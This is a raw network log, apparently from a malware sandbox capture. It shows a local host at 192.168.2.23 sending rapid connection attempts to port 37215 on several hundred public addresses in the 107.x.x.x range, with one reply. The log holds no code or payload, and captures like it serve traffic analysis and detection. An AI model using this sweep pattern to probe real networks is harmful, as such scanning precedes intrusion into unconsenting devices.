Feb 20, 2022 15:51:01.804312944 CET	1386	37215	192.168.2.23	107.116.151.48
Feb 20, 2022 15:51:01.804315090 CET	1386	37215	192.168.2.23	107.210.178.186
Feb 20, 2022 15:51:01.804349899 CET	1386	37215	192.168.2.23	107.186.160.103
Feb 20, 2022 15:51:01.804390907 CET	1386	37215	192.168.2.23	107.23.3.180
Feb 20, 2022 15:51:01.804452896 CET	1386	37215	192.168.2.23	107.128.33.230
Feb 20, 2022 15:51:01.804465055 CET	1386	37215	192.168.2.23	107.202.170.130
Feb 20, 2022 15:51:01.804500103 CET	1386	37215	192.168.2.23	107.37.157.99
Feb 20, 2022 15:51:01.804542065 CET	1386	37215	192.168.2.23	107.219.85.100
Feb 20, 2022 15:51:01.804617882 CET	1386	37215	192.168.2.23	107.119.209.104
Feb 20, 2022 15:51:01.804625034 CET	1386	37215	192.168.2.23	107.67.44.226
Feb 20, 2022 15:51:01.804697037 CET	1386	37215	192.168.2.23	107.22.241.18
Feb 20, 2022 15:51:01.804702997 CET	1386	37215	192.168.2.23	107.70.146.233
Feb 20, 2022 15:51:01.804739952 CET	1386	37215	192.168.2.23	107.215.109.237
Feb 20, 2022 15:51:01.804775000 CET	1386	37215	192.168.2.23	107.22.237.74
Feb 20, 2022 15:51:01.804814100 CET	1386	37215	192.168.2.23	107.107.57.34
Feb 20, 2022 15:51:01.804853916 CET	1386	37215	192.168.2.23	107.123.199.188
Feb 20, 2022 15:51:01.804929972 CET	1386	37215	192.168.2.23	107.131.180.113
Feb 20, 2022 15:51:01.804968119 CET	1386	37215	192.168.2.23	107.176.186.219
Feb 20, 2022 15:51:01.805005074 CET	1386	37215	192.168.2.23	107.125.243.135
Feb 20, 2022 15:51:01.805007935 CET	1386	37215	192.168.2.23	107.93.85.149
Feb 20, 2022 15:51:01.805080891 CET	1386	37215	192.168.2.23	107.213.52.181
Feb 20, 2022 15:51:01.805083990 CET	1386	37215	192.168.2.23	107.62.191.160
Feb 20, 2022 15:51:01.805166960 CET	1386	37215	192.168.2.23	107.173.235.54
Feb 20, 2022 15:51:01.805190086 CET	1386	37215	192.168.2.23	107.176.145.60
Feb 20, 2022 15:51:01.805232048 CET	1386	37215	192.168.2.23	107.18.118.151
Feb 20, 2022 15:51:01.805234909 CET	1386	37215	192.168.2.23	107.125.59.240
Feb 20, 2022 15:51:01.805277109 CET	1386	37215	192.168.2.23	107.102.46.25
Feb 20, 2022 15:51:01.805332899 CET	1386	37215	192.168.2.23	107.252.101.8
Feb 20, 2022 15:51:01.805389881 CET	1386	37215	192.168.2.23	107.89.212.220
Feb 20, 2022 15:51:01.805396080 CET	1386	37215	192.168.2.23	107.222.242.253
Feb 20, 2022 15:51:01.805479050 CET	1386	37215	192.168.2.23	107.180.61.22
Feb 20, 2022 15:51:01.805480957 CET	1386	37215	192.168.2.23	107.247.223.8
Feb 20, 2022 15:51:01.805507898 CET	1386	37215	192.168.2.23	107.96.136.32
Feb 20, 2022 15:51:01.805546999 CET	1386	37215	192.168.2.23	107.85.154.111
Feb 20, 2022 15:51:01.805591106 CET	1386	37215	192.168.2.23	107.237.224.130
Feb 20, 2022 15:51:01.805654049 CET	1386	37215	192.168.2.23	107.91.92.226
Feb 20, 2022 15:51:01.805692911 CET	1386	37215	192.168.2.23	107.30.5.25
Feb 20, 2022 15:51:01.805699110 CET	1386	37215	192.168.2.23	107.243.233.212
Feb 20, 2022 15:51:01.805740118 CET	1386	37215	192.168.2.23	107.155.88.232
Feb 20, 2022 15:51:01.805814981 CET	1386	37215	192.168.2.23	107.82.88.31
Feb 20, 2022 15:51:01.805840015 CET	1386	37215	192.168.2.23	107.100.217.208
Feb 20, 2022 15:51:01.805860996 CET	1386	37215	192.168.2.23	107.17.243.41
Feb 20, 2022 15:51:01.805905104 CET	1386	37215	192.168.2.23	107.92.60.76
Feb 20, 2022 15:51:01.805931091 CET	1386	37215	192.168.2.23	107.219.8.67
Feb 20, 2022 15:51:01.805974960 CET	1386	37215	192.168.2.23	107.129.239.21
Feb 20, 2022 15:51:01.806016922 CET	1386	37215	192.168.2.23	107.219.165.229
Feb 20, 2022 15:51:01.806049109 CET	1386	37215	192.168.2.23	107.195.212.233
Feb 20, 2022 15:51:01.806102037 CET	1386	37215	192.168.2.23	107.57.18.102
Feb 20, 2022 15:51:01.806169033 CET	1386	37215	192.168.2.23	107.221.161.7
Feb 20, 2022 15:51:01.806201935 CET	1386	37215	192.168.2.23	107.28.167.118
Feb 20, 2022 15:51:01.806221008 CET	1386	37215	192.168.2.23	107.48.178.99
Feb 20, 2022 15:51:01.806241989 CET	1386	37215	192.168.2.23	107.91.123.194
Feb 20, 2022 15:51:01.806318998 CET	1386	37215	192.168.2.23	107.177.188.21
Feb 20, 2022 15:51:01.806360960 CET	1386	37215	192.168.2.23	107.254.28.37
Feb 20, 2022 15:51:01.806364059 CET	1386	37215	192.168.2.23	107.188.194.24
Feb 20, 2022 15:51:01.806404114 CET	1386	37215	192.168.2.23	107.198.241.246
Feb 20, 2022 15:51:01.806442022 CET	1386	37215	192.168.2.23	107.153.32.126
Feb 20, 2022 15:51:01.806473017 CET	1386	37215	192.168.2.23	107.109.91.153
Feb 20, 2022 15:51:01.806515932 CET	1386	37215	192.168.2.23	107.181.195.224
Feb 20, 2022 15:51:01.806555033 CET	1386	37215	192.168.2.23	107.11.149.93
Feb 20, 2022 15:51:01.806632042 CET	1386	37215	192.168.2.23	107.44.237.104
Feb 20, 2022 15:51:01.806668043 CET	1386	37215	192.168.2.23	107.82.248.145
Feb 20, 2022 15:51:01.806668997 CET	1386	37215	192.168.2.23	107.41.233.57
Feb 20, 2022 15:51:01.806715012 CET	1386	37215	192.168.2.23	107.201.143.36
Feb 20, 2022 15:51:01.806754112 CET	1386	37215	192.168.2.23	107.5.198.137
Feb 20, 2022 15:51:01.806826115 CET	1386	37215	192.168.2.23	107.90.194.208
Feb 20, 2022 15:51:01.806844950 CET	37215	1386	102.50.135.35	192.168.2.23
Feb 20, 2022 15:51:01.806873083 CET	1386	37215	192.168.2.23	107.161.68.171
Feb 20, 2022 15:51:01.806873083 CET	1386	37215	192.168.2.23	107.202.23.18
Feb 20, 2022 15:51:01.806915998 CET	1386	37215	192.168.2.23	107.178.38.153
Feb 20, 2022 15:51:01.806953907 CET	1386	37215	192.168.2.23	107.77.221.193
Feb 20, 2022 15:51:01.807035923 CET	1386	37215	192.168.2.23	107.205.93.25
Feb 20, 2022 15:51:01.807037115 CET	1386	37215	192.168.2.23	107.239.100.160
Feb 20, 2022 15:51:01.807080984 CET	1386	37215	192.168.2.23	107.191.18.213
Feb 20, 2022 15:51:01.807162046 CET	1386	37215	192.168.2.23	107.51.153.32
Feb 20, 2022 15:51:01.807199955 CET	1386	37215	192.168.2.23	107.79.159.202
Feb 20, 2022 15:51:01.807261944 CET	1386	37215	192.168.2.23	107.102.187.134
Feb 20, 2022 15:51:01.807279110 CET	1386	37215	192.168.2.23	107.100.100.147
Feb 20, 2022 15:51:01.807327986 CET	1386	37215	192.168.2.23	107.74.208.47
Feb 20, 2022 15:51:01.807348013 CET	1386	37215	192.168.2.23	107.209.190.174
Feb 20, 2022 15:51:01.807375908 CET	1386	37215	192.168.2.23	107.188.135.158
Feb 20, 2022 15:51:01.807420969 CET	1386	37215	192.168.2.23	107.118.35.77
Feb 20, 2022 15:51:01.807444096 CET	1386	37215	192.168.2.23	107.27.108.151
Feb 20, 2022 15:51:01.807488918 CET	1386	37215	192.168.2.23	107.89.134.149
Feb 20, 2022 15:51:01.807593107 CET	1386	37215	192.168.2.23	107.210.250.111
Feb 20, 2022 15:51:01.807594061 CET	1386	37215	192.168.2.23	107.252.174.3
Feb 20, 2022 15:51:01.807672024 CET	1386	37215	192.168.2.23	107.179.95.185
Feb 20, 2022 15:51:01.807672977 CET	1386	37215	192.168.2.23	107.222.107.124
Feb 20, 2022 15:51:01.807713032 CET	1386	37215	192.168.2.23	107.168.170.252
Feb 20, 2022 15:51:01.807751894 CET	1386	37215	192.168.2.23	107.245.222.221
Feb 20, 2022 15:51:01.807790995 CET	1386	37215	192.168.2.23	107.143.223.171
Feb 20, 2022 15:51:01.807864904 CET	1386	37215	192.168.2.23	107.243.120.228
Feb 20, 2022 15:51:01.807876110 CET	1386	37215	192.168.2.23	107.49.223.71
Feb 20, 2022 15:51:01.807904959 CET	1386	37215	192.168.2.23	107.73.88.22
Feb 20, 2022 15:51:01.807976007 CET	1386	37215	192.168.2.23	107.173.76.57
Feb 20, 2022 15:51:01.807981968 CET	1386	37215	192.168.2.23	107.151.137.201
Feb 20, 2022 15:51:01.808059931 CET	1386	37215	192.168.2.23	107.149.84.193
Feb 20, 2022 15:51:01.808064938 CET	1386	37215	192.168.2.23	107.239.129.63
Feb 20, 2022 15:51:01.808104992 CET	1386	37215	192.168.2.23	107.177.78.196
Feb 20, 2022 15:51:01.808142900 CET	1386	37215	192.168.2.23	107.253.62.125
Feb 20, 2022 15:51:01.808217049 CET	1386	37215	192.168.2.23	107.187.204.32
Feb 20, 2022 15:51:01.808223009 CET	1386	37215	192.168.2.23	107.1.111.159
Feb 20, 2022 15:51:01.808259010 CET	1386	37215	192.168.2.23	107.15.126.156
Feb 20, 2022 15:51:01.808321953 CET	1386	37215	192.168.2.23	107.217.195.215
Feb 20, 2022 15:51:01.808374882 CET	1386	37215	192.168.2.23	107.87.254.52
Feb 20, 2022 15:51:01.808386087 CET	1386	37215	192.168.2.23	107.233.218.195
Feb 20, 2022 15:51:01.808427095 CET	1386	37215	192.168.2.23	107.96.28.249
Feb 20, 2022 15:51:01.808460951 CET	1386	37215	192.168.2.23	107.62.157.60
Feb 20, 2022 15:51:01.808510065 CET	1386	37215	192.168.2.23	107.2.46.222
Feb 20, 2022 15:51:01.808543921 CET	1386	37215	192.168.2.23	107.65.184.251
Feb 20, 2022 15:51:01.808614016 CET	1386	37215	192.168.2.23	107.51.48.221
Feb 20, 2022 15:51:01.808624983 CET	1386	37215	192.168.2.23	107.180.40.225
Feb 20, 2022 15:51:01.808708906 CET	1386	37215	192.168.2.23	107.38.68.211
Feb 20, 2022 15:51:01.808712006 CET	1386	37215	192.168.2.23	107.172.41.172
Feb 20, 2022 15:51:01.808743000 CET	1386	37215	192.168.2.23	107.253.183.153
Feb 20, 2022 15:51:01.808752060 CET	1386	37215	192.168.2.23	107.157.243.100
Feb 20, 2022 15:51:01.808789968 CET	1386	37215	192.168.2.23	107.44.237.215
Feb 20, 2022 15:51:01.808801889 CET	1386	37215	192.168.2.23	107.109.246.79
Feb 20, 2022 15:51:01.808813095 CET	1386	37215	192.168.2.23	107.7.41.19
Feb 20, 2022 15:51:01.808834076 CET	1386	37215	192.168.2.23	107.112.157.222
Feb 20, 2022 15:51:01.808855057 CET	1386	37215	192.168.2.23	107.177.32.58
Feb 20, 2022 15:51:01.808872938 CET	1386	37215	192.168.2.23	107.162.217.55
Feb 20, 2022 15:51:01.808912992 CET	1386	37215	192.168.2.23	107.104.73.33
Feb 20, 2022 15:51:01.808917999 CET	1386	37215	192.168.2.23	107.7.126.117
Feb 20, 2022 15:51:01.808938026 CET	1386	37215	192.168.2.23	107.62.189.216
Feb 20, 2022 15:51:01.808948994 CET	1386	37215	192.168.2.23	107.225.125.185
Feb 20, 2022 15:51:01.809012890 CET	1386	37215	192.168.2.23	107.251.126.88
Feb 20, 2022 15:51:01.809039116 CET	1386	37215	192.168.2.23	107.71.149.174
Feb 20, 2022 15:51:01.809051037 CET	1386	37215	192.168.2.23	107.249.86.237
Feb 20, 2022 15:51:01.809057951 CET	1386	37215	192.168.2.23	107.24.85.232
Feb 20, 2022 15:51:01.809061050 CET	1386	37215	192.168.2.23	107.192.35.168
Feb 20, 2022 15:51:01.809078932 CET	1386	37215	192.168.2.23	107.189.167.80
Feb 20, 2022 15:51:01.809134960 CET	1386	37215	192.168.2.23	107.129.251.32
Feb 20, 2022 15:51:01.809150934 CET	1386	37215	192.168.2.23	107.169.62.231
Feb 20, 2022 15:51:01.809150934 CET	1386	37215	192.168.2.23	107.33.58.238
Feb 20, 2022 15:51:01.809200048 CET	1386	37215	192.168.2.23	107.124.247.58
Feb 20, 2022 15:51:01.809222937 CET	1386	37215	192.168.2.23	107.214.54.111
Feb 20, 2022 15:51:01.809223890 CET	1386	37215	192.168.2.23	107.167.176.189
Feb 20, 2022 15:51:01.809246063 CET	1386	37215	192.168.2.23	107.108.243.68
Feb 20, 2022 15:51:01.809269905 CET	1386	37215	192.168.2.23	107.112.80.234
Feb 20, 2022 15:51:01.809297085 CET	1386	37215	192.168.2.23	107.145.42.223
Feb 20, 2022 15:51:01.809318066 CET	1386	37215	192.168.2.23	107.183.227.215
Feb 20, 2022 15:51:01.809340000 CET	1386	37215	192.168.2.23	107.219.172.77
Feb 20, 2022 15:51:01.809380054 CET	1386	37215	192.168.2.23	107.196.189.31
Feb 20, 2022 15:51:01.809401989 CET	1386	37215	192.168.2.23	107.217.139.101
Feb 20, 2022 15:51:01.809406042 CET	1386	37215	192.168.2.23	107.153.12.205
Feb 20, 2022 15:51:01.809432030 CET	1386	37215	192.168.2.23	107.107.72.129
Feb 20, 2022 15:51:01.809449911 CET	1386	37215	192.168.2.23	107.70.70.81
Feb 20, 2022 15:51:01.809495926 CET	1386	37215	192.168.2.23	107.99.188.39
Feb 20, 2022 15:51:01.809500933 CET	1386	37215	192.168.2.23	107.221.199.214
Feb 20, 2022 15:51:01.809514999 CET	1386	37215	192.168.2.23	107.109.240.67
Feb 20, 2022 15:51:01.809542894 CET	1386	37215	192.168.2.23	107.213.196.83
Feb 20, 2022 15:51:01.809559107 CET	1386	37215	192.168.2.23	107.4.41.146
Feb 20, 2022 15:51:01.809575081 CET	1386	37215	192.168.2.23	107.81.203.134
Feb 20, 2022 15:51:01.809597969 CET	1386	37215	192.168.2.23	107.49.172.152
Feb 20, 2022 15:51:01.809637070 CET	1386	37215	192.168.2.23	107.73.75.94
Feb 20, 2022 15:51:01.809640884 CET	1386	37215	192.168.2.23	107.230.9.199
Feb 20, 2022 15:51:01.809675932 CET	1386	37215	192.168.2.23	107.72.249.113
Feb 20, 2022 15:51:01.809685946 CET	1386	37215	192.168.2.23	107.131.251.99
Feb 20, 2022 15:51:01.809701920 CET	1386	37215	192.168.2.23	107.154.202.100
Feb 20, 2022 15:51:01.809726954 CET	1386	37215	192.168.2.23	107.98.134.118
Feb 20, 2022 15:51:01.809767008 CET	1386	37215	192.168.2.23	107.109.125.243
Feb 20, 2022 15:51:01.809773922 CET	1386	37215	192.168.2.23	107.68.240.173
Feb 20, 2022 15:51:01.809796095 CET	1386	37215	192.168.2.23	107.173.249.218
Feb 20, 2022 15:51:01.809823036 CET	1386	37215	192.168.2.23	107.198.187.52
Feb 20, 2022 15:51:01.809839010 CET	1386	37215	192.168.2.23	107.48.196.73
Feb 20, 2022 15:51:01.809866905 CET	1386	37215	192.168.2.23	107.146.145.142
Feb 20, 2022 15:51:01.809875011 CET	1386	37215	192.168.2.23	107.128.74.145
Feb 20, 2022 15:51:01.809907913 CET	1386	37215	192.168.2.23	107.120.129.127
Feb 20, 2022 15:51:01.809921026 CET	1386	37215	192.168.2.23	107.139.254.97
Feb 20, 2022 15:51:01.809972048 CET	1386	37215	192.168.2.23	107.27.198.227
Feb 20, 2022 15:51:01.809976101 CET	1386	37215	192.168.2.23	107.224.2.119
Feb 20, 2022 15:51:01.810012102 CET	1386	37215	192.168.2.23	107.134.3.53
Feb 20, 2022 15:51:01.810014963 CET	1386	37215	192.168.2.23	107.43.230.45
Feb 20, 2022 15:51:01.810038090 CET	1386	37215	192.168.2.23	107.249.12.99
Feb 20, 2022 15:51:01.810081959 CET	1386	37215	192.168.2.23	107.241.52.200
Feb 20, 2022 15:51:01.810084105 CET	1386	37215	192.168.2.23	107.242.136.220
Feb 20, 2022 15:51:01.810101986 CET	1386	37215	192.168.2.23	107.54.99.16
Feb 20, 2022 15:51:01.810142994 CET	1386	37215	192.168.2.23	107.101.17.4
Feb 20, 2022 15:51:01.810152054 CET	1386	37215	192.168.2.23	107.197.103.247
Feb 20, 2022 15:51:01.810173988 CET	1386	37215	192.168.2.23	107.84.40.81
Feb 20, 2022 15:51:01.810203075 CET	1386	37215	192.168.2.23	107.181.251.147
Feb 20, 2022 15:51:01.810241938 CET	1386	37215	192.168.2.23	107.175.122.125
Feb 20, 2022 15:51:01.810259104 CET	1386	37215	192.168.2.23	107.217.56.179
Feb 20, 2022 15:51:01.810261011 CET	1386	37215	192.168.2.23	107.199.77.165
Feb 20, 2022 15:51:01.810271978 CET	1386	37215	192.168.2.23	107.202.66.51
Feb 20, 2022 15:51:01.810307026 CET	1386	37215	192.168.2.23	107.157.172.6
Feb 20, 2022 15:51:01.810321093 CET	1386	37215	192.168.2.23	107.198.77.201
Feb 20, 2022 15:51:01.810338974 CET	1386	37215	192.168.2.23	107.167.105.140
Feb 20, 2022 15:51:01.810367107 CET	1386	37215	192.168.2.23	107.109.47.42
Feb 20, 2022 15:51:01.810385942 CET	1386	37215	192.168.2.23	107.34.191.67
Feb 20, 2022 15:51:01.810420990 CET	1386	37215	192.168.2.23	107.224.196.20
Feb 20, 2022 15:51:01.810453892 CET	1386	37215	192.168.2.23	107.138.101.118
Feb 20, 2022 15:51:01.810462952 CET	1386	37215	192.168.2.23	107.42.5.182
Feb 20, 2022 15:51:01.810477972 CET	1386	37215	192.168.2.23	107.105.35.174
Feb 20, 2022 15:51:01.810513973 CET	1386	37215	192.168.2.23	107.33.124.20
Feb 20, 2022 15:51:01.810533047 CET	1386	37215	192.168.2.23	107.235.60.53
Feb 20, 2022 15:51:01.810545921 CET	1386	37215	192.168.2.23	107.125.105.212
Feb 20, 2022 15:51:01.810554028 CET	1386	37215	192.168.2.23	107.235.128.131
Feb 20, 2022 15:51:01.810581923 CET	1386	37215	192.168.2.23	107.9.169.216
Feb 20, 2022 15:51:01.810625076 CET	1386	37215	192.168.2.23	107.6.90.75
Feb 20, 2022 15:51:01.810628891 CET	1386	37215	192.168.2.23	107.10.200.38
Feb 20, 2022 15:51:01.810653925 CET	1386	37215	192.168.2.23	107.130.222.36
Feb 20, 2022 15:51:01.810662985 CET	1386	37215	192.168.2.23	107.255.171.47
Feb 20, 2022 15:51:01.810678959 CET	1386	37215	192.168.2.23	107.39.21.171
Feb 20, 2022 15:51:01.810708046 CET	1386	37215	192.168.2.23	107.98.131.185
Feb 20, 2022 15:51:01.810720921 CET	1386	37215	192.168.2.23	107.19.160.180
Feb 20, 2022 15:51:01.810745955 CET	1386	37215	192.168.2.23	107.49.174.208
Feb 20, 2022 15:51:01.810754061 CET	1386	37215	192.168.2.23	107.76.81.132
Feb 20, 2022 15:51:01.810786963 CET	1386	37215	192.168.2.23	107.75.244.119
Feb 20, 2022 15:51:01.810823917 CET	1386	37215	192.168.2.23	107.112.133.124
Feb 20, 2022 15:51:01.810837984 CET	1386	37215	192.168.2.23	107.85.52.212
Feb 20, 2022 15:51:01.810853004 CET	1386	37215	192.168.2.23	107.112.38.28
Feb 20, 2022 15:51:01.810866117 CET	1386	37215	192.168.2.23	107.199.254.9
Feb 20, 2022 15:51:01.810885906 CET	1386	37215	192.168.2.23	107.234.72.195
Feb 20, 2022 15:51:01.810904980 CET	1386	37215	192.168.2.23	107.124.247.207
Feb 20, 2022 15:51:01.810921907 CET	1386	37215	192.168.2.23	107.1.128.146
Feb 20, 2022 15:51:01.810947895 CET	1386	37215	192.168.2.23	107.234.112.182
Feb 20, 2022 15:51:01.810986996 CET	1386	37215	192.168.2.23	107.18.219.139
Feb 20, 2022 15:51:01.810991049 CET	1386	37215	192.168.2.23	107.71.14.195
Feb 20, 2022 15:51:01.811044931 CET	1386	37215	192.168.2.23	107.143.94.214
Feb 20, 2022 15:51:01.811055899 CET	1386	37215	192.168.2.23	107.3.93.65
Feb 20, 2022 15:51:01.811058044 CET	1386	37215	192.168.2.23	107.240.61.218
Feb 20, 2022 15:51:01.811072111 CET	1386	37215	192.168.2.23	107.130.238.119
Feb 20, 2022 15:51:01.811096907 CET	1386	37215	192.168.2.23	107.197.217.119
Feb 20, 2022 15:51:01.811136007 CET	1386	37215	192.168.2.23	107.140.130.245
Feb 20, 2022 15:51:01.811139107 CET	1386	37215	192.168.2.23	107.186.208.157
Feb 20, 2022 15:51:01.811152935 CET	1386	37215	192.168.2.23	107.113.173.46
Feb 20, 2022 15:51:01.811170101 CET	1386	37215	192.168.2.23	107.23.119.204
Feb 20, 2022 15:51:01.811208963 CET	1386	37215	192.168.2.23	107.9.17.59
Feb 20, 2022 15:51:01.811219931 CET	1386	37215	192.168.2.23	107.19.177.235
Feb 20, 2022 15:51:01.811245918 CET	1386	37215	192.168.2.23	107.28.11.163
Feb 20, 2022 15:51:01.811296940 CET	1386	37215	192.168.2.23	107.12.222.253
Feb 20, 2022 15:51:01.811311960 CET	1386	37215	192.168.2.23	107.133.197.22
Feb 20, 2022 15:51:01.811331987 CET	1386	37215	192.168.2.23	107.193.67.200
Feb 20, 2022 15:51:01.811336040 CET	1386	37215	192.168.2.23	107.129.81.139
Feb 20, 2022 15:51:01.811358929 CET	1386	37215	192.168.2.23	107.15.113.33
Feb 20, 2022 15:51:01.811382055 CET	1386	37215	192.168.2.23	107.180.196.159
Feb 20, 2022 15:51:01.811414957 CET	1386	37215	192.168.2.23	107.189.177.87
Feb 20, 2022 15:51:01.811440945 CET	1386	37215	192.168.2.23	107.25.28.194
Feb 20, 2022 15:51:01.811460972 CET	1386	37215	192.168.2.23	107.246.194.189
Feb 20, 2022 15:51:01.811465025 CET	1386	37215	192.168.2.23	107.140.102.186
Feb 20, 2022 15:51:01.811503887 CET	1386	37215	192.168.2.23	107.200.223.247
Feb 20, 2022 15:51:01.811531067 CET	1386	37215	192.168.2.23	107.212.220.1
Feb 20, 2022 15:51:01.811532974 CET	1386	37215	192.168.2.23	107.173.3.131
Feb 20, 2022 15:51:01.811566114 CET	1386	37215	192.168.2.23	107.103.90.126
Feb 20, 2022 15:51:01.811574936 CET	1386	37215	192.168.2.23	107.119.67.229
Feb 20, 2022 15:51:01.811594009 CET	1386	37215	192.168.2.23	107.228.189.193
Feb 20, 2022 15:51:01.811609983 CET	1386	37215	192.168.2.23	107.87.182.241
Feb 20, 2022 15:51:01.811625004 CET	1386	37215	192.168.2.23	107.157.107.57
Feb 20, 2022 15:51:01.811656952 CET	1386	37215	192.168.2.23	107.115.16.251
Feb 20, 2022 15:51:01.811677933 CET	1386	37215	192.168.2.23	107.159.14.80
Feb 20, 2022 15:51:01.811717987 CET	1386	37215	192.168.2.23	107.61.42.36
Feb 20, 2022 15:51:01.811717987 CET	1386	37215	192.168.2.23	107.60.152.65
Feb 20, 2022 15:51:01.811734915 CET	1386	37215	192.168.2.23	107.50.199.197
Feb 20, 2022 15:51:01.811758995 CET	1386	37215	192.168.2.23	107.203.46.100
Feb 20, 2022 15:51:01.811779976 CET	1386	37215	192.168.2.23	107.232.240.26
Feb 20, 2022 15:51:01.811805010 CET	1386	37215	192.168.2.23	107.31.37.238
Feb 20, 2022 15:51:01.811827898 CET	1386	37215	192.168.2.23	107.193.102.69
Feb 20, 2022 15:51:01.811861992 CET	1386	37215	192.168.2.23	107.119.98.136
Feb 20, 2022 15:51:01.811870098 CET	1386	37215	192.168.2.23	107.23.103.118
Feb 20, 2022 15:51:01.811898947 CET	1386	37215	192.168.2.23	107.227.71.39
Feb 20, 2022 15:51:01.811914921 CET	1386	37215	192.168.2.23	107.213.201.239
Feb 20, 2022 15:51:01.811969042 CET	1386	37215	192.168.2.23	107.109.73.68
Feb 20, 2022 15:51:01.811975956 CET	1386	37215	192.168.2.23	107.147.193.145
Feb 20, 2022 15:51:01.811990976 CET	1386	37215	192.168.2.23	107.196.16.227
Feb 20, 2022 15:51:01.812000036 CET	1386	37215	192.168.2.23	107.190.137.226
Feb 20, 2022 15:51:01.812041998 CET	1386	37215	192.168.2.23	107.118.212.40
Feb 20, 2022 15:51:01.812045097 CET	1386	37215	192.168.2.23	107.99.137.99
Feb 20, 2022 15:51:01.812057018 CET	1386	37215	192.168.2.23	107.140.235.253
Feb 20, 2022 15:51:01.812072039 CET	1386	37215	192.168.2.23	107.217.30.232
Feb 20, 2022 15:51:01.812122107 CET	1386	37215	192.168.2.23	107.154.70.27
Feb 20, 2022 15:51:01.812160015 CET	1386	37215	192.168.2.23	107.197.170.235
Feb 20, 2022 15:51:01.812165022 CET	1386	37215	192.168.2.23	107.102.247.22
Feb 20, 2022 15:51:01.812220097 CET	1386	37215	192.168.2.23	107.209.233.128
Feb 20, 2022 15:51:01.812239885 CET	1386	37215	192.168.2.23	107.170.170.98
Feb 20, 2022 15:51:01.812241077 CET	1386	37215	192.168.2.23	107.223.176.253
Feb 20, 2022 15:51:01.812278032 CET	1386	37215	192.168.2.23	107.182.196.50
Feb 20, 2022 15:51:01.812283993 CET	1386	37215	192.168.2.23	107.119.219.73
Feb 20, 2022 15:51:01.812300920 CET	1386	37215	192.168.2.23	107.209.125.210
Feb 20, 2022 15:51:01.812319994 CET	1386	37215	192.168.2.23	107.244.165.32
Feb 20, 2022 15:51:01.812340975 CET	1386	37215	192.168.2.23	107.32.159.58
Feb 20, 2022 15:51:01.812382936 CET	1386	37215	192.168.2.23	107.58.101.50
Feb 20, 2022 15:51:01.812397003 CET	1386	37215	192.168.2.23	107.22.185.104
Feb 20, 2022 15:51:01.812412024 CET	1386	37215	192.168.2.23	107.175.153.7
Feb 20, 2022 15:51:01.812434912 CET	1386	37215	192.168.2.23	107.205.49.23
Feb 20, 2022 15:51:01.812452078 CET	1386	37215	192.168.2.23	107.64.213.70
Feb 20, 2022 15:51:01.812474012 CET	1386	37215	192.168.2.23	107.134.91.161
Feb 20, 2022 15:51:01.812515020 CET	1386	37215	192.168.2.23	107.131.90.138
Feb 20, 2022 15:51:01.812530994 CET	1386	37215	192.168.2.23	107.142.89.59
Feb 20, 2022 15:51:01.812541008 CET	1386	37215	192.168.2.23	107.41.62.177
Feb 20, 2022 15:51:01.812582016 CET	1386	37215	192.168.2.23	107.172.223.123
Feb 20, 2022 15:51:01.812582970 CET	1386	37215	192.168.2.23	107.54.249.112
Feb 20, 2022 15:51:01.812602043 CET	1386	37215	192.168.2.23	107.147.153.254
Feb 20, 2022 15:51:01.812633991 CET	1386	37215	192.168.2.23	107.154.159.7
Feb 20, 2022 15:51:01.812639952 CET	1386	37215	192.168.2.23	107.65.235.6
Feb 20, 2022 15:51:01.812680006 CET	1386	37215	192.168.2.23	107.172.128.85
Feb 20, 2022 15:51:01.812681913 CET	1386	37215	192.168.2.23	107.247.253.249
Feb 20, 2022 15:51:01.812701941 CET	1386	37215	192.168.2.23	107.99.214.167
Feb 20, 2022 15:51:01.812716961 CET	1386	37215	192.168.2.23	107.165.127.32
Feb 20, 2022 15:51:01.812742949 CET	1386	37215	192.168.2.23	107.206.79.241
Feb 20, 2022 15:51:01.812762022 CET	1386	37215	192.168.2.23	107.32.182.72
Feb 20, 2022 15:51:01.812794924 CET	1386	37215	192.168.2.23	107.112.163.189
Feb 20, 2022 15:51:01.812843084 CET	1386	37215	192.168.2.23	107.105.187.178
Feb 20, 2022 15:51:01.812851906 CET	1386	37215	192.168.2.23	107.140.167.57
Feb 20, 2022 15:51:01.812865019 CET	1386	37215	192.168.2.23	107.9.54.46
Feb 20, 2022 15:51:01.812866926 CET	1386	37215	192.168.2.23	107.45.35.30
Feb 20, 2022 15:51:01.812902927 CET	1386	37215	192.168.2.23	107.110.56.97
Feb 20, 2022 15:51:01.812927961 CET	1386	37215	192.168.2.23	107.22.26.116
Feb 20, 2022 15:51:01.812930107 CET	1386	37215	192.168.2.23	107.89.209.237
Feb 20, 2022 15:51:01.812963009 CET	1386	37215	192.168.2.23	107.69.157.137
Feb 20, 2022 15:51:01.812966108 CET	1386	37215	192.168.2.23	107.19.171.98
Feb 20, 2022 15:51:01.812987089 CET	1386	37215	192.168.2.23	107.82.183.99
Feb 20, 2022 15:51:01.813003063 CET	1386	37215	192.168.2.23	107.175.240.242
Feb 20, 2022 15:51:01.813052893 CET	1386	37215	192.168.2.23	107.253.2.114
Feb 20, 2022 15:51:01.813066006 CET	1386	37215	192.168.2.23	107.219.83.187
Feb 20, 2022 15:51:01.813075066 CET	1386	37215	192.168.2.23	107.170.94.121
Feb 20, 2022 15:51:01.813112020 CET	1386	37215	192.168.2.23	107.205.116.166
Feb 20, 2022 15:51:01.813133955 CET	1386	37215	192.168.2.23	107.232.151.200
Feb 20, 2022 15:51:01.813144922 CET	1386	37215	192.168.2.23	107.166.52.178
Feb 20, 2022 15:51:01.813162088 CET	1386	37215	192.168.2.23	107.44.160.62
Feb 20, 2022 15:51:01.813186884 CET	1386	37215	192.168.2.23	107.117.76.112
Feb 20, 2022 15:51:01.813226938 CET	1386	37215	192.168.2.23	107.115.109.31
Feb 20, 2022 15:51:01.813236952 CET	1386	37215	192.168.2.23	107.228.134.182
Feb 20, 2022 15:51:01.813257933 CET	1386	37215	192.168.2.23	107.170.186.252
Feb 20, 2022 15:51:01.813280106 CET	1386	37215	192.168.2.23	107.192.147.227
Feb 20, 2022 15:51:01.813283920 CET	1386	37215	192.168.2.23	107.95.37.109
Feb 20, 2022 15:51:01.813302994 CET	1386	37215	192.168.2.23	107.236.0.166
Feb 20, 2022 15:51:01.813321114 CET	1386	37215	192.168.2.23	107.153.127.188
Feb 20, 2022 15:51:01.813349962 CET	1386	37215	192.168.2.23	107.5.5.34
Feb 20, 2022 15:51:01.813374043 CET	1386	37215	192.168.2.23	107.118.251.61
Feb 20, 2022 15:51:01.813391924 CET	1386	37215	192.168.2.23	107.67.115.168
Feb 20, 2022 15:51:01.813426971 CET	1386	37215	192.168.2.23	107.198.2.122
